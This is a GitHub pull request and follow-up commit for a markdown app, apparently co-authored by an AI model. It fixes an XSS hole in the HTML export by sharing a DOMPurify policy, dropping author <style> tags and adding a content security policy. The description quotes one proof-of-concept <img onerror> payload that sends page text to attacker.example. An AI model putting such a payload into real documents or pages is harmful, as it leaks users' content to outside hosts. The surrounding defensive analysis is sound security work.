fix(export): sanitize exported HTML - #376
Merged
Merged
Conversation
The preview passes rendered markdown through DOMPurify; the export did not.
comrak runs with `unsafe_ = true`, so raw HTML in a document survives to the
file — and the export offers to open it in the default browser, where
nothing stands between the payload and the user. In the app the document
looks harmless, because there the sanitizer is doing its job.
<img src=x onerror="fetch('https://attacker.example/?'+document.body.innerText)">
Confirmed by loading an export-shaped page in Chrome with the raw comrak
body: inline script and the onerror both run.
The policy moves to a shared module so preview and export cannot drift, and
the export sanitizes the render output before any of its own processing.
That puts the trust boundary where the untrusted document enters: everything
after it — fold wrappers, callout containers, media replacements, the front
matter panel — is markup this app builds, and filtering our own output only
creates a way for a later tightening of the policy to silently drop parts of
the export. Nothing downstream can reintroduce untrusted markup:
`processMarkdownHtml` parses inertly with `DOMParser`, and its only
`innerHTML` writes are its own constant SVG.
Author `<style>` is now dropped. The preview injects rendered HTML into the
app's own document, so a stylesheet in a document has the same reach as the
application's — enough to hide the title bar or beacon out through a
background image. Nothing depends on it: the app's CSS, highlight.js and
KaTeX are imported stylesheets, and Mermaid's inline style goes through a
separate diagram config. The inline `style` attribute stays allowed —
documents use it and the media pipeline sets one.
Exported files also carry a content security policy. It was verified rather
than assumed: probe pages built from the real module and loaded in Chrome
over both http: and file: keep the copied stylesheet, inline style
attributes, data-URI images and mask images, and remote https images. The
only things it blocks on file: were already broken without it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
PathGao
added a commit
that referenced
this pull request
Aug 2, 2026
…384) #376 introduced `src/lib/utils/sanitize.ts` as the single markdown sanitize policy, and the comment on its `FORBID_TAGS: ['style']` entry argues the preview case specifically: the sanitized HTML is injected into the app's own document, where a document `<style>` can hide the title bar or turn any selector into an outbound beacon. Only the export path ever imported it. The preview kept a local copy of the URI regexp and passed `ALLOWED_URI_REGEXP` alone, so `<style>` - which DOMPurify allows by default, CSS unfiltered - reached the live document. Measured in a browser against the pinned DOMPurify build: the title bar's computed `display` became `none` and the outbound request for the beacon appears in `performance.getEntriesByType('resource')`. The app CSP permits both halves. The deleted regexp was byte-identical to the shared one, so no URI behaviour changes; the only delta is that author `<style>` is dropped. The order difference between the two sinks is left alone and now documented: export sanitizes first because its bytes leave the app and filtering Markpad's own generated markup could silently delete part of the export; the preview sanitizes last because it has no second line of defence, so the string reaching `{@html}` must BE the sanitizer's output with no round trip after it. Co-authored-by: PathGao <gaoyanbo@gaoyanbodeMacBook-Air.local> Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The preview passes rendered markdown through DOMPurify. The export does not. comrak runs with
unsafe_ = true, so raw HTML in a document survives into the exported file — and the export then offers to open it in the default browser, where nothing stands between the payload and the user.In the app this document looks harmless, because there the sanitizer is doing its job. The user has no reason to suspect the file they just exported and forwarded.
Confirmed, not assumed: an export-shaped page built from the raw comrak body and loaded in Chrome gives
{"scriptRan": true, "onerrorRan": true}— inline<script>and theonerrorabove both execute today.What changed
The policy moves to a shared module (
utils/sanitize.ts) so preview and export cannot drift. The regexp is byte-identical to the one currently inline in the viewer.markdownLinkExtensionsturned out to be a localconstinsideMarkdownViewer.svelterather than inmarkdownLinks.ts, so the list is rebuilt in the new module and pinned by a test againsthasMarkdownLinkExtension— no shared file had to be touched. Switching the preview across is a follow-up.The export sanitizes the render output before its own processing. That puts the trust boundary exactly where the untrusted document enters. Everything after it — fold wrappers, chevron SVGs, callout containers,
<video>/<audio>replacements, the front-matter<details>panel — is markup this app builds; filtering our own output only creates a way for a later tightening of the policy to silently drop parts of the export. Verified nothing downstream can reintroduce untrusted markup:processMarkdownHtmlparses withDOMParser(inert) and its onlyinnerHTMLwrites are its own constant SVG strings.Author
<style>is dropped. The preview injects rendered HTML into the app's own document, so a stylesheet inside a document has the same reach as the application's — enough to hide the title bar, or to beacon out through a background image. Nothing depends on it: the app's CSS, highlight.js and KaTeX are imported stylesheets, and Mermaid's inline<style>goes through the separate diagram config, untouched. The inlinestyleattribute stays allowed — documents use it (<img style="width:50%">) and the media pipeline sets one.Exported files carry a CSP, verified rather than guessed:
Probe pages built from the real module and loaded in Chrome over both
http:andfile:keep the copied stylesheet, inline style attributes, data-URI images,mask-imagedata URIs and remote https images. Meta CSP is enforced onfile:; the only things it blocked there were already dead without it (leftoverasset:URLs from images that failed to embed, and KaTeX's relative@font-faceURLs, which 404 either way). It is also independent of the sanitizer: with CSP on an unsanitized body, script andonerrorare both blocked — but the author<style>still applies, which is whyFORBID_TAGScarries its own weight.Validation
npm run check— 0 errors, 0 warningsnpm test— 212/212Baseline counter-proof, two independent ones. In the browser, on today's code, the payload fires (above); running the real bundled DOMPurify with the new config on that exact payload returns
<img src="x">. In the suite, withexport.tsreverted to upstream, 3 of 7 new tests fail — precisely the export-path ones — and 7/7 with the fix.Honest limitation: DOMPurify reports
isSupported: falseundernode --test(no DOM, andnode_modulesis shared so adding jsdom was not an option). The test file therefore exercises the URI decision as a pure regexp applied exactly the way DOMPurify applies it, plus adeepEqualover the whole config that fails if anyone addsADD_TAGS/ADD_ATTR/ALLOW_UNKNOWN_PROTOCOLS, plus the source-order assertion. The behavioural half is the Chrome run, and the test file says so in a comment rather than implying coverage it does not have.